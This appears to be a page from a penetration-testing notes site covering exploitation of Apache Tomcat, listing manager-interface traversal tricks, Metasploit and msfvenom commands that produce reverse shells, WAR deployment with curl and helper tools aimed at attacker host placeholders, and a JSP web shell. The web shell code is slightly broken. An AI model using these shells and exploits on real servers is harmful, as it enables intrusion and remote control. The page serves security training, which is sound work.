🏠
dev-angelist
HomeGitHubPortfolioTwitter/XMediumCont@ct
  • 🏠Home
  • πŸ“’Certification Notes
    • Certified Ethical Hacker (CEH) Practical
    • CRTP
    • eWPTXv3
    • eCPPTv3
    • eWPTv2
    • eJPTv2
  • ✍️WRITEUPS & WALKTHROUGHS
    • TryHackMe (THM)
    • HackTheBox (HTB)
    • VulnHub
    • DockerLabs.es
    • PortSwigger - Web Sec Academy
    • HomeMade Labs
  • πŸ•ΈοΈWEB
    • eWPTXv3
    • eWPTv2
    • WAPT
    • DVWA
    • Secure Bank
    • Mutillidae II
    • WebSafeHub (WSH)
    • PortSwigger - Web Sec Academy
  • Common Services Pentest
    • Web Services - 80/443/8080
      • Tomcat
        • Lab Setup & Configuration
        • Enumeration
        • Exploitation
        • Mitigation & Hardening
    • SMB - 139/445
  • πŸ‘©β€πŸ’»CODING
    • 🐍Python
      • Python Offensive
      • Email Header Analyzer
      • Dir-Brute
      • Port-Scanner
      • Finger User Enumeration
    • DevSecOps
    • πŸ”ΉPowershell
  • πŸ”΄Offensive Security
    • Active Directory (AD)
      • CRTP
      • AD HomeMade Lab
  • Privilege Escalation
    • Windows Privilege Escalation
  • πŸ”Crypto & AI/ML
    • Crypto & Blockchain
      • Blockchain Security
        • Blockchain Architecture
          • 1.1 Characteristics and Features
          • 1.2 Core Components
          • 1.3 Consensus Algorithm
          • 1.4 Cryptography
          • 1.5 Cryptocurrency
        • Front-end Risks
          • 2.1 MFA and Blockchain
          • 2.2 Front-end
          • 2.3 OWASP Modeling for Blockchain
          • 2.4 Wallet Attacks
          • 2.5 Client Vulnerabilities
        • Back-end Risks
          • 3.1 Consensus Vulnerabilities
          • 3.2 Mining Pool Vulnerabilities
          • 3.3 Network Vulnerabilities
            • 3.3.1 DoS/DDoS/BDoS Attacks
            • 3.3.2 Delay Attacks
            • 3.3.3 Partition Attacks
            • 3.3.4 Sybil Attacks
            • 3.3.5 Time Jacking
            • 3.3.6 Transaction Attacks
        • Mining-Risks
          • 4.1 Mining Overview
          • 4.2 Proof of Stake Post Merge Ethereum
          • 4.3 Crypto Mining Malware (Cryptojacking)
          • 4.4 Zero Trust Models
          • 4.5 Byzantine Fault Tolerance
        • Blockchain as a Service
    • AI/ML Pentest
  • ACTIVE DIRECTORY
    • AD Enumeration
  • Guides & Articles
    • My Articles
    • Guides & Tutorials
      • Burp Suite - Configuration
      • Quickemu - VM
      • Setting Up SSH Keys
      • Building an AD Lab
      • Work Guidelines
  • Windows
    • Windows Enumeration
    • Windows Privilege Escalation
  • INTELLIGENCE GATHERING
    • OSINT
  • LINUX (tbd)
    • Linux Enumeration
    • Linux Privilege Escalation
Powered by GitBook
On this page
  • Common Vulnerabilities
  • Using Metasploit Framework
  • Other Methods
  • Other Tools
  1. Common Services Pentest
  2. Web Services - 80/443/8080
  3. Tomcat

Exploitation

PreviousEnumerationNextMitigation & Hardening

Last updated 4 months ago

Topics

Common Vulnerabilities

  1. Password Backtrace Disclosure Visiting /auth.jsp might reveal passwords in backtraces.

  2. Double URL Encoding Vulnerabilities like CVE-2007-1860 allow management interface access via:

    pathTomcat/%252E%252E/manager/html
  3. Insecure Example Scripts Apache Tomcat versions 4.x–7.x include examples susceptible to XSS or information disclosure. Examples:

    • /examples/jsp/num/numguess.jsp

    • /examples/servlet/HelloWorldExample Check and restrict access to these paths.

  4. Path Traversal Exploit path traversal with:

    <tomcat_target_ip>/lalala/..;/manager/html

    or

    http://<tomcat_target_ip>/;param=value/manager/html

Using Metasploit Framework

Leverage the tomcat_mgr_upload exploit available in Metasploit for Tomcat file upload vulnerabilities. Launch Metasploit and execute the following commands:

msfconsole -q
search tomcat_mgr_upload
use 3
set rhosts <tomcat_target_ip>
set rport 8080
set httpusername admin
set httppassword password
set payload linux/x86/meterpreter_reverse_tcp
exploit

After exploitation, a reverse shell is obtained, allowing command execution via the meterpreter shell.


Remote Code Execution (RCE)

If you gain access to the /manager/html interface, you can upload and deploy a .war file to achieve RCE.

  • Example:

    curl --upload-file shell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/shell"

Metasploit can automate this:

use exploit/multi/http/tomcat_mgr_upload

To create a reverse shell WAR file:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o shell.war

Other Methods

  1. TomcatWarDeployer Deploy shells or bind shells via:

    ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
  2. Clusterd Automate testing:

    clusterd.py -i <attacker_machine> -a tomcat -v 5.5 --gen-payload <tomcat_target_ip>:4444 --deploy shell.war
  3. Manual Web Shell Example JSP for command execution:

    <FORM METHOD=GET ACTION='index.jsp'>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
    </FORM>
    <%@ page import="java.io.*" %>
    <% 
       String cmd = request.getParameter("cmd");
       String output = "";
       if(cmd != null) {
          Process p = Runtime.getRuntime().exec(cmd,null,null);
          BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
          while((s = sI.readLine()) != null) { output += s+"</br>"; }
       } 
    %>
    <pre><%=output %></pre>

    Package it into a WAR file and upload it.


Other Tools

Lab Setup & Configuration
Enumeration
Exploitation
Mitigation & Hardening
Apache Tomcat Scanner